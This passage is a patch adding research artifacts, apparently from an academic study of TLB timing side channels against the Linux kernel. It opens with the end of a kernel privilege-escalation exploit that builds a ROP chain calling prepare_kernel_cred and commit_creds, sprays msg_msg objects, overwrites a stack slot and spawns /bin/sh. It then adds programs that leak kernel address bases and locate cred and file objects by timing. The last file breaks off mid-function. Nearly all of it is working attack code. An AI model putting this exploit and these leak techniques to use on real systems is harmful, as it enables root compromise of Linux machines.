// sleep(-1);
|
||||
int ret = system("/bin/sh");
|
||||
if (ret < 0) {
|
||||
perror("system");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void build_rop_chain(size_t *rop)
|
||||
{
|
||||
*rop++ = 0; // rbp
|
||||
*rop++ = POP_RDI_RET_OFFSET+_text;
|
||||
*rop++ = INIT_TASK_OFFSET+_text;
|
||||
*rop++ = PREPARE_KERNEL_CRED_OFFSET+_text;
|
||||
*rop++ = XCHG_RDI_RAX_RET_OFFSET+_text;
|
||||
*rop++ = COMMIT_CREDS_OFFSET+_text;
|
||||
*rop++ = SWAPGS_POP_RET_OFFSET+_text;
|
||||
*rop++ = 0; // rbp
|
||||
*rop++ = IRET_OFFSET+_text;
|
||||
*rop++ = (size_t)&shell;
|
||||
*rop++ = user_cs;
|
||||
*rop++ = user_rflags;
|
||||
*rop++ = user_sp;
|
||||
*rop++ = user_ss;
|
||||
}
|
||||
|
||||
char thread_stack[1<<15];
|
||||
|
||||
int main(void)
|
||||
{
|
||||
save_state();
|
||||
pin_to_core(0);
|
||||
printf("[*] start\n");
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
lkm_init();
|
||||
lkm_code_leak((size_t)&_text);
|
||||
printf("[+] _text %016zx\n", _text);
|
||||
|
||||
static char buffer[0x1000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
build_rop_chain((size_t *)(message->mtext+MSG_TEXT_OFFSET));
|
||||
|
||||
int qid = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
send_msg(qid, message, MSG_SIZE, 0);
|
||||
|
||||
lkm_msg_msg_leak((size_t)&msg_msg, qid, MSG_TYPE);
|
||||
printf("[+] msg_msg %016zx\n", msg_msg);
|
||||
|
||||
int ret;
|
||||
pthread_t tid;
|
||||
for (size_t i = 0; i < SPRAY_THREADS; ++i) {
|
||||
ret = pthread_create(&tid, 0, spray_task, 0);
|
||||
if (ret < 0) {
|
||||
perror("pthread_create(spray_task)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] create leak task\n");
|
||||
ret = pthread_create(&tid, 0, leak_task, 0);
|
||||
if (ret < 0) {
|
||||
perror("pthread_create(leak_task)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
printf("[*] join leak task\n");
|
||||
pthread_join(tid, 0);
|
||||
for (size_t i = 0; i < RECLAIM_STACK_THREADS; ++i) {
|
||||
/* load small first payload on the stack via user registers */
|
||||
register size_t r12 asm("r12");
|
||||
size_t old_r12 = r12;
|
||||
register size_t r13 asm("r13");
|
||||
size_t old_r13 = r13;
|
||||
register size_t r14 asm("r14");
|
||||
size_t old_r14 = r14;
|
||||
asm volatile(
|
||||
"mov %[st90], %%r12;"
|
||||
"mov %[st98], %%r13;"
|
||||
"mov %[sta0], %%r14;"
|
||||
::
|
||||
[st90]"r"(_text+MOV_RSP_RBP_POP_RET_OFFSET),
|
||||
[st98]"r"(_text+PUSH_RAX_POP_RBP_RET_OFFSET),
|
||||
[sta0]"r"(_text+XCHG_RDI_RAX_RET_OFFSET)
|
||||
);
|
||||
clone(empty_function, thread_stack+sizeof(thread_stack), CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, 0);
|
||||
asm volatile(
|
||||
"mov %%r12, %[old_r12];"
|
||||
"mov %%r13, %[old_r13];"
|
||||
"mov %%r14, %[old_r14];"
|
||||
::
|
||||
[old_r12]"m"(old_r12),
|
||||
[old_r13]"m"(old_r13),
|
||||
[old_r14]"m"(old_r14)
|
||||
);
|
||||
}
|
||||
/* overwrite function pointer with rdi register */
|
||||
lkm_write(stack+STACK_SZ-0xc0, _text+ADD_RSP_0X38_RET_OFFSET); // <- R12, RIP
|
||||
lkm_write(stack+STACK_SZ-0xc8, msg_msg+MSG_HEADER+MSG_TEXT_OFFSET); // <- R13, RDI
|
||||
|
||||
/* for testing */
|
||||
// lkm_write(stack+STACK_SZ-0xb8, 0x4141414141414141);
|
||||
// lkm_write(stack+STACK_SZ-0xc0, 0x4242424242424242); // <- R12, RIP
|
||||
// lkm_write(stack+STACK_SZ-0xc8, 0x4343434343434343); // <- R13, RDI
|
||||
// lkm_write(stack+STACK_SZ-0xd0, 0x4444444444444444);
|
||||
// lkm_write(stack+STACK_SZ-0xd8, 0x4545454545454545); // <- R14
|
||||
// lkm_write(stack+STACK_SZ-0xe0, 0x4646464646464646); // <- R15
|
||||
|
||||
printf("[*] main thread sleep\n");
|
||||
sleep(-1);
|
||||
// cleanup_queue(qid);
|
||||
printf("[*] done\n");
|
||||
}
|
24
artifacts/generic/Makefile
Normal file
24
artifacts/generic/Makefile
Normal file
|
@ -0,0 +1,24 @@
|
|||
CC := gcc
|
||||
|
||||
SOURCES := $(wildcard *.c)
|
||||
|
||||
TARGETS := $(SOURCES:.c=.elf)
|
||||
|
||||
CFLAGS += -g
|
||||
CFLAGS += -O3
|
||||
CFLAGS += -static
|
||||
CFLAGS += -Wall
|
||||
CFLAGS += -Wextra
|
||||
CFLAGS += -Wno-int-to-pointer-cast
|
||||
CFLAGS += -Wno-pointer-to-int-cast
|
||||
CFLAGS += -D_FILE_OFFSET_BITS=64
|
||||
CFLAGS += -I../include
|
||||
CFLAGS += -pthread
|
||||
|
||||
all: $(TARGETS)
|
||||
|
||||
%.elf: %.c ../include/tlb_flush.h ../include/cacheutils.h ../include/ulkm.h ../include/utils.h ../include/coarse_grain_leak.h
|
||||
$(CC) -D_FILE_OFFSET_BITS=64 $< $(CFLAGS) -o $@
|
||||
|
||||
clean:
|
||||
rm -f *.elf
|
39
artifacts/generic/dpm_leak.c
Normal file
39
artifacts/generic/dpm_leak.c
Normal file
|
@ -0,0 +1,39 @@
|
|||
#include "coarse_grain_leak.h"
|
||||
#define VALIDATE
|
||||
#ifdef VALIDATE
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
|
||||
#define TRIES 100
|
||||
|
||||
int main(void)
|
||||
{
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
/* warmup */
|
||||
#ifdef VALIDATE
|
||||
size_t dpm_base;
|
||||
lkm_init();
|
||||
lkm_dpm_leak((size_t)&dpm_base);
|
||||
init_tlb_flush();
|
||||
// size_t stack;
|
||||
// lkm_stack_leak((size_t)&stack); //this technically doesn't need to be the stack page, but it happens to give us a mapped and an unmapped 4k page
|
||||
// DualThreshold t = detect_threshold(stack + 0x3000, stack + 0x4000, 100);
|
||||
// THRESHOLD = t.lower;
|
||||
#endif
|
||||
|
||||
for (volatile size_t i = 0; i < (1ULL << 30); ++i);
|
||||
/* leaking */
|
||||
size_t found = 0;
|
||||
size_t addr = dpm_leak_found(TRIES, &found);
|
||||
printf("%016zx\n", addr);
|
||||
#ifdef VALIDATE
|
||||
if (dpm_base != addr) {
|
||||
printf("[!] dpm wrong found %016zx to dpm %016zx\n", addr, dpm_base);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
return found ? 1 : -1;
|
||||
}
|
8
artifacts/generic/msg_cleanup.c
Normal file
8
artifacts/generic/msg_cleanup.c
Normal file
|
@ -0,0 +1,8 @@
|
|||
#include "msg_msg.h"
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < (1<<24); ++i)
|
||||
msgctl(i, IPC_RMID, 0);
|
||||
}
|
171
artifacts/generic/page_type_diff.c
Normal file
171
artifacts/generic/page_type_diff.c
Normal file
|
@ -0,0 +1,171 @@
|
|||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "ulkm.h"
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <assert.h>
|
||||
#include <linux/kernel-page-flags.h>
|
||||
#include <errno.h>
|
||||
#include "../include/tlb_flush.h"
|
||||
|
||||
#define HIT 29
|
||||
#define TRIES 1000000
|
||||
#define HIST_SIZE 120
|
||||
|
||||
#define STACK_SIZE (1 << 14)
|
||||
|
||||
//-----
|
||||
#define fail(...) \
|
||||
do \
|
||||
{ \
|
||||
fprintf(stderr, __VA_ARGS__); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} while (0)
|
||||
#define PAGE_SIZE (1 << 12)
|
||||
#define HPAGE_SIZE (1 << 21)
|
||||
|
||||
// See <https://www.kernel.org/doc/Documentation/vm/pagemap.txt> for
|
||||
// format which these bitmasks refer to
|
||||
#define PAGEMAP_PRESENT(ent) (((ent) & (1ull << 63)) != 0)
|
||||
#define PAGEMAP_PFN(ent) ((ent) & ((1ull << 55) - 1))
|
||||
|
||||
#define NEXP 4
|
||||
size_t print_hist(size_t addr_stack, size_t addr_large)
|
||||
{
|
||||
printf("[*] addr %016zx\n", addr_stack);
|
||||
size_t time = 0;
|
||||
size_t time_n1 = 0;
|
||||
|
||||
size_t hist[NEXP][HIST_SIZE];
|
||||
size_t hist_n1[NEXP][HIST_SIZE];
|
||||
|
||||
memset(hist, 0, sizeof(hist));
|
||||
memset(hist_n1, 0, sizeof(hist_n1));
|
||||
// memset(hist_n4, 0, sizeof(hist_n4));
|
||||
/* leaking */
|
||||
for (size_t i = 0; i < TRIES * NEXP; ++i) {
|
||||
// stack/4k hit vs 4k miss
|
||||
if (i % NEXP == 0) {
|
||||
asm volatile("lfence");
|
||||
asm volatile("mfence");
|
||||
prefetch2((void *)addr_stack);
|
||||
time = onlyreload(addr_stack);
|
||||
time_n1 = flushreload(addr_stack);
|
||||
// unmapped (stack+1) hit/miss
|
||||
} else if (i % NEXP == 1) {
|
||||
asm volatile("lfence");
|
||||
asm volatile("mfence");
|
||||
prefetch2((void *)(addr_stack + (1 << 12)));
|
||||
time = onlyreload(addr_stack + (1 << 12));
|
||||
time_n1 = flushreload(addr_stack + (1 << 12));
|
||||
// stack hit/unmapped miss by syscall
|
||||
} else if (i % NEXP == 2) {
|
||||
asm volatile("lfence");
|
||||
asm volatile("mfence");
|
||||
time = flushsysreload(addr_stack);
|
||||
time_n1 = onlyreload(addr_stack + (1 << 12));
|
||||
asm volatile("lfence");
|
||||
asm volatile("mfence");
|
||||
// 2MB hit/miss
|
||||
} else if (i % NEXP == 3) {
|
||||
asm volatile("lfence");
|
||||
asm volatile("mfence");
|
||||
prefetch2((void *)(addr_large + 512));
|
||||
time = onlyreload(addr_large + 512);
|
||||
FLUSH_TLB_2M(addr_large + 512);
|
||||
time_n1 = onlyreload(addr_large + 512);
|
||||
}
|
||||
hist[i % NEXP][MIN(HIST_SIZE - 2, time)]++;
|
||||
hist_n1[i % NEXP][MIN(HIST_SIZE - 2, time_n1)]++;
|
||||
}
|
||||
size_t sum[NEXP * 2] = {0};
|
||||
printf("time,4k hit,4k miss,4k UM hit,4k UM miss,4k stack hit,4k UM hit,2MB hit,2MB miss"); // csv
|
||||
for (size_t i = 20; i < HIST_SIZE; i += 2) {
|
||||
printf("\n%zd", i);
|
||||
for (int j = 0; j < NEXP; j++) {
|
||||
sum[j * 2] += hist[j][i];
|
||||
sum[j * 2 + 1] += hist_n1[j][i];
|
||||
// printf("% 6.1f % 6.1f ", (float)(sum[j*2])/TRIES*100, (float)(sum[j*2+1])/TRIES*100);
|
||||
// printf("%zd\t %zd \t", hist[j][i], hist_n1[j][i]);
|
||||
printf(",%zd,%zd", hist[j][i], hist_n1[j][i]); // csv
|
||||
}
|
||||
}
|
||||
puts("");
|
||||
|
||||
return (time < HIT && time_n1 > HIT);
|
||||
}
|
||||
|
||||
DualThreshold meta_threshold_detection(size_t addr_mapped, size_t addr_unmapped)
|
||||
{
|
||||
size_t threshold_hist_lower[HIST_SIZE] = {0};
|
||||
size_t threshold_hist_upper[HIST_SIZE] = {0};
|
||||
printf("Detecting mapped/unmapped threshold..\n");
|
||||
for (unsigned i = 0; i < 1000; i++) {
|
||||
DualThreshold t = detect_threshold_single(addr_mapped, addr_unmapped);
|
||||
threshold_hist_lower[t.lower]++;
|
||||
threshold_hist_upper[t.upper]++;
|
||||
}
|
||||
|
||||
unsigned threshold_l = 0;
|
||||
unsigned threshold_l_i = 0;
|
||||
unsigned threshold_u = 0;
|
||||
unsigned threshold_u_i = 0;
|
||||
for (size_t i = 0; i < HIST_SIZE; i += 2) {
|
||||
if (threshold_hist_lower[i] > threshold_l) {
|
||||
threshold_l = threshold_hist_lower[i];
|
||||
threshold_l_i = i;
|
||||
}
|
||||
if (threshold_hist_upper[i] > threshold_u) {
|
||||
threshold_u = threshold_hist_upper[i];
|
||||
threshold_u_i = i;
|
||||
}
|
||||
}
|
||||
for (size_t i = 20; i < HIST_SIZE; i += 2) {
|
||||
if (i == threshold_l_i)
|
||||
printf("% 4zd: \033[31m% 4zd\033[0m % 4zd\n", i, threshold_hist_lower[i], threshold_hist_upper[i]);
|
||||
else if (i == threshold_u_i)
|
||||
printf("% 4zd: % 4zd \033[31m% 4zd\033[0m\n", i, threshold_hist_lower[i], threshold_hist_upper[i]);
|
||||
else
|
||||
printf("% 4zd: % 4zd % 4zd\n", i, threshold_hist_lower[i], threshold_hist_upper[i]);
|
||||
}
|
||||
|
||||
printf("Median Thresholds: %d %d\n", threshold_l_i, threshold_u_i);
|
||||
|
||||
DualThreshold t = {threshold_l_i, threshold_u_i};
|
||||
|
||||
return t;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
pin_to_core(2);
|
||||
lkm_init();
|
||||
|
||||
size_t addr_large;
|
||||
if (argc == 2) {
|
||||
addr_large = strtoull(argv[1], NULL, 16);
|
||||
} else {
|
||||
lkm_dpm_leak((size_t)&addr_large);
|
||||
addr_large += (1 << 12);
|
||||
}
|
||||
printf("stlb set: %lx: %lu\n", addr_large, STLB_SET_4K(addr_large));
|
||||
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
init_tlb_flush();
|
||||
|
||||
size_t stack;
|
||||
lkm_stack_leak((size_t)&stack);
|
||||
|
||||
meta_threshold_detection(stack + (3 << 12), stack + (4 << 12));
|
||||
|
||||
printf("flush set range: %p - %p\n", flush_set, flush_set + FLUSH_SET_SIZE);
|
||||
|
||||
printf("[*] current->stack %016zx\n", stack);
|
||||
printf("[*] 2MB page %016zx\n", addr_large);
|
||||
printf("=======================================\n");
|
||||
print_hist(stack + (3 << 12), addr_large);
|
||||
}
|
39
artifacts/generic/vmalloc_leak.c
Normal file
39
artifacts/generic/vmalloc_leak.c
Normal file
|
@ -0,0 +1,39 @@
|
|||
#include "coarse_grain_leak.h"
|
||||
#define VALIDATE
|
||||
#ifdef VALIDATE
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
|
||||
#define TRIES 30
|
||||
|
||||
int main(void)
|
||||
{
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
/* warmup */
|
||||
#ifdef VALIDATE
|
||||
size_t vmalloc_base;
|
||||
lkm_init();
|
||||
lkm_vmalloc_base_leak((size_t)&vmalloc_base);
|
||||
init_tlb_flush();
|
||||
// size_t stack;
|
||||
// lkm_stack_leak((size_t)&stack); //this technically doesn't need to be the stack page, but it happens to give us a mapped and an unmapped 4k page
|
||||
// DualThreshold t = detect_threshold(stack + 0x3000, stack + 0x4000, 100);
|
||||
// THRESHOLD = t.lower;
|
||||
#endif
|
||||
|
||||
for (volatile size_t i = 0; i < (1ULL << 30); ++i);
|
||||
/* leaking */
|
||||
size_t found = 0;
|
||||
size_t addr = vmalloc_leak_found(TRIES, &found);
|
||||
printf("%016zx\n", addr);
|
||||
#ifdef VALIDATE
|
||||
if (vmalloc_base != addr) {
|
||||
printf("[!] vmalloc_base wrong found %016zx to %016zx\n", addr, vmalloc_base);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
return found ? 1 : -1;
|
||||
}
|
35
artifacts/generic/vmemmap_leak.c
Normal file
35
artifacts/generic/vmemmap_leak.c
Normal file
|
@ -0,0 +1,35 @@
|
|||
#include "coarse_grain_leak.h"
|
||||
// #define VALIDATE
|
||||
#ifdef VALIDATE
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
|
||||
#define TRIES 30
|
||||
|
||||
int main(void)
|
||||
{
|
||||
/* warmup */
|
||||
#ifdef VALIDATE
|
||||
size_t vmemmap_base = 0;
|
||||
lkm_init();
|
||||
lkm_vmemmap_leak((size_t)&vmemmap_base);
|
||||
init_tlb_flush();
|
||||
// size_t stack;
|
||||
// lkm_stack_leak((size_t)&stack); //this technically doesn't need to be the stack page, but it happens to give us a mapped and an unmapped 4k page
|
||||
// DualThreshold t = detect_threshold(stack + 0x3000, stack + 0x4000, 100);
|
||||
// THRESHOLD = t.lower;
|
||||
#endif
|
||||
|
||||
for (volatile size_t i = 0; i < (1ULL << 30); ++i);
|
||||
/* leaking */
|
||||
size_t found = 0;
|
||||
size_t addr = vmemmap_leak_found(TRIES, &found);
|
||||
printf("%016zx\n", addr);
|
||||
#ifdef VALIDATE
|
||||
if (vmemmap_base != addr) {
|
||||
printf("[!] vmemmap base wrong found %016zx to vmemmap_base %016zx\n", addr, vmemmap_base);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
return found ? 1 : -1;
|
||||
}
|
24
artifacts/heap/Makefile
Normal file
24
artifacts/heap/Makefile
Normal file
|
@ -0,0 +1,24 @@
|
|||
CC := gcc
|
||||
|
||||
SOURCES := $(wildcard *.c)
|
||||
|
||||
TARGETS := $(SOURCES:.c=.elf)
|
||||
|
||||
CFLAGS += -g
|
||||
CFLAGS += -O2
|
||||
CFLAGS += -static
|
||||
CFLAGS += -Wall
|
||||
CFLAGS += -Wextra
|
||||
CFLAGS += -Wno-int-to-pointer-cast
|
||||
CFLAGS += -Wno-pointer-to-int-cast
|
||||
CFLAGS += -D_FILE_OFFSET_BITS=64
|
||||
CFLAGS += -I../include
|
||||
CFLAGS += -pthread
|
||||
|
||||
all: $(TARGETS)
|
||||
|
||||
%.elf: %.c ../include/tlb_flush.h ../include/cacheutils.h ../include/ulkm.h ../include/utils.h ../include/coarse_grain_leak.h
|
||||
$(CC) -D_FILE_OFFSET_BITS=64 $< $(CFLAGS) -o $@
|
||||
|
||||
clean:
|
||||
rm -f *.elf
|
214
artifacts/heap/cred_leak.c
Normal file
214
artifacts/heap/cred_leak.c
Normal file
|
@ -0,0 +1,214 @@
|
|||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#include "ulkm.h"
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/wait.h>
|
||||
#include <keyutils.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#define OBJ_PER_SLAB 42
|
||||
#define CREDS_SPRAY (OBJ_PER_SLAB*50)
|
||||
|
||||
#define TRIES 100
|
||||
|
||||
char buffer[1<<12];
|
||||
void get_times(size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4)
|
||||
{
|
||||
size_t times[tries];
|
||||
size_t times_n2[tries];
|
||||
size_t times_n4[tries];
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
getuid();
|
||||
times[i] = onlyreload(addr);
|
||||
times_n2[i] = onlyreload(addr+2*(1<<12));
|
||||
times_n4[i] = onlyreload(addr+4*(1<<12));
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n2, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
*time = times[tries/4];
|
||||
*time_n2 = times_n2[tries/4];
|
||||
*time_n4 = times_n4[tries/4];
|
||||
}
|
||||
int is_2mb(size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD);
|
||||
}
|
||||
int hit_flush(size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD));
|
||||
}
|
||||
|
||||
struct found_data {
|
||||
size_t found_addresses[32];
|
||||
size_t found_addresses_index;
|
||||
size_t cred;
|
||||
};
|
||||
struct found_data *data;
|
||||
volatile size_t *state;
|
||||
pthread_t tids[CREDS_SPRAY];
|
||||
size_t creds[CREDS_SPRAY];
|
||||
|
||||
void alloc_cred(void)
|
||||
{
|
||||
int ret = unshare(CLONE_NEWUSER);
|
||||
if (ret < 0) {
|
||||
perror("unshare(CLONE_NEWUSER)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
char path[0x100];
|
||||
snprintf(path, sizeof(path), "/proc/%d/ns/user", getpid());
|
||||
int fd = open(path, O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open(/proc/%d/ns/user)");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void spray_cred(void)
|
||||
{
|
||||
alloc_cred();
|
||||
sleep(-1);
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
pin_to_core(0);
|
||||
lkm_init();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
data = mmap(0, sizeof(struct found_data)*4, PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
if (data == MAP_FAILED) {
|
||||
perror("mmap(found_data)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
state = mmap(0, 4096, PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
if (state == MAP_FAILED) {
|
||||
perror("mmap(found_data)");
|
||||
exit(-1);
|
||||
}
|
||||
*state = 3;
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
for (volatile size_t i = 0; i < (1ULL << 30); ++i);
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
pin_to_core(15);
|
||||
|
||||
printf("[*] spray creds\n");
|
||||
for (size_t i = 0; i < CREDS_SPRAY; ++i)
|
||||
if (fork() == 0)
|
||||
spray_cred();
|
||||
|
||||
size_t index = 0;
|
||||
if (fork() == 0) {
|
||||
for (size_t i = 0; i < OBJ_PER_SLAB; ++i)
|
||||
if (fork() == 0)
|
||||
sleep(-1);
|
||||
|
||||
index = (fork() == 0)*2;
|
||||
index += (fork() == 0);
|
||||
sched_yield();
|
||||
sched_yield();
|
||||
alloc_cred();
|
||||
pin_to_core(index);
|
||||
|
||||
size_t cred;
|
||||
lkm_cred_leak((size_t)&cred);
|
||||
printf("[*] cred %zd %016zx\n", index, cred);
|
||||
data[index].cred = cred;
|
||||
if (index == 0) {
|
||||
size_t is_4kb = lkm_is_4kb(cred);
|
||||
printf("[*] %016zx is %s page\n", cred, is_4kb ? "4kB" : "2MB");
|
||||
}
|
||||
|
||||
while (*state != index) sleep(1);
|
||||
printf("[*] redo %zd\n", index);
|
||||
|
||||
size_t found_addresses[32] = {0};
|
||||
size_t found_addresses_index = 0;
|
||||
|
||||
if (index == 3) {
|
||||
|
||||
for (size_t addr = dpm_base; addr < dpm_base+mem_total_rounded; addr += (1<<21)) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
|
||||
if (is_2mb(addr, 40))
|
||||
continue;
|
||||
for (size_t i = 0; i < (1ULL << 21); i += (1ULL << 12)) {
|
||||
size_t cur_addr = addr + i;
|
||||
size_t found_0 = hit_flush(cur_addr, TRIES);
|
||||
if (!found_0)
|
||||
continue;
|
||||
found_addresses[found_addresses_index++] = cur_addr;
|
||||
printf("[+] %zd found addr %016zx\n", index, cur_addr);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for (size_t i = 0; i < data[index+1].found_addresses_index; ++i) {
|
||||
for (size_t j = 0; j < 2; ++j) {
|
||||
size_t addr = (data[index+1].found_addresses[i] & ~((1<<13)-1)) + j*(1<<12);
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
size_t found_0 = hit_flush(addr, TRIES);
|
||||
if (!found_0)
|
||||
continue;
|
||||
found_addresses[found_addresses_index++] = addr;
|
||||
printf("[+] %zd found addr %016zx\n", index, addr);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
memcpy(data[index].found_addresses, found_addresses, sizeof(found_addresses));
|
||||
data[index].found_addresses_index = found_addresses_index;
|
||||
|
||||
*state -= 1;
|
||||
exit(0);
|
||||
} else {
|
||||
wait(0);
|
||||
}
|
||||
|
||||
size_t found_addresses[32] = {0};
|
||||
size_t found_addresses_index = 0;
|
||||
if (data[0].found_addresses_index == 2 &&
|
||||
(data[0].found_addresses[0] & ~((1<<13)-1)) == (data[0].found_addresses[1] & ~((1<<13)-1))) {
|
||||
found_addresses[0] = data[0].found_addresses[0] & ~((1<<13)-1);
|
||||
found_addresses_index = 1;
|
||||
} else {
|
||||
memcpy(found_addresses, data[0].found_addresses, sizeof(found_addresses));
|
||||
found_addresses_index = data[0].found_addresses_index;
|
||||
}
|
||||
|
||||
if (found_addresses_index == 0)
|
||||
printf("[!] non found -> retry\n");
|
||||
else if (found_addresses_index != 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
else if ((found_addresses[0] & ~((1<<13)-1)) == (data[0].cred & ~((1<<13)-1)))
|
||||
printf("[+] success\n");
|
||||
else
|
||||
printf("[!] fail\n");
|
||||
signal(SIGQUIT, SIG_IGN);
|
||||
kill(0, SIGQUIT);
|
||||
}
|
259
artifacts/heap/file_leak.c
Normal file
259
artifacts/heap/file_leak.c
Normal file
|
@ -0,0 +1,259 @@
|
|||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#define VALIDATE
|
||||
#ifdef VALIDATE
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define IPPROTO_DCCP 33
|
||||
#define IPPROTO_SCTP 132
|
||||
#define IPPROTO_L2TP 115
|
||||
#define CAN_RAW 1
|
||||
#define CAN_BCM 2
|
||||
#define CAN_ISOTP 6
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#define OBJS_PER_SLAB 32
|
||||
#define FILES_SPRAY (OBJS_PER_SLAB*200)
|
||||
#define FILES (OBJS_PER_SLAB*10)
|
||||
|
||||
#define TRIES 40
|
||||
|
||||
char buffer[1<<12];
|
||||
void get_times(int fd, size_t addr, size_t tries, size_t *time, size_t *time_n2, size_t *time_n4)
|
||||
{
|
||||
struct stat buf;
|
||||
size_t times[tries];
|
||||
size_t times_n2[tries];
|
||||
size_t times_n4[tries];
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
flush_tlb_targeted_4k(addr+2*(1<<12));
|
||||
fstat(fd, &buf);
|
||||
times[i] = onlyreload(addr);
|
||||
times_n2[i] = onlyreload(addr+2*(1<<12));
|
||||
times_n4[i] = onlyreload(addr+4*(1<<12));
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n2, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
*time = times[tries/4];
|
||||
*time_n2 = times_n2[tries/4];
|
||||
*time_n4 = times_n4[tries/4];
|
||||
}
|
||||
int is_2mb(int fd, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(fd, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && time_n2 < THRESHOLD && time_n4 < THRESHOLD);
|
||||
}
|
||||
int hit_flush(int fd, size_t addr, size_t tries)
|
||||
{
|
||||
size_t time;
|
||||
size_t time_n2;
|
||||
size_t time_n4;
|
||||
get_times(fd, addr, tries, &time, &time_n2, &time_n4);
|
||||
return (time < THRESHOLD && (time_n2 > THRESHOLD || time_n4 > THRESHOLD));
|
||||
}
|
||||
|
||||
int main(__attribute__((unused))int argc, char **argv)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
pin_to_core(0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
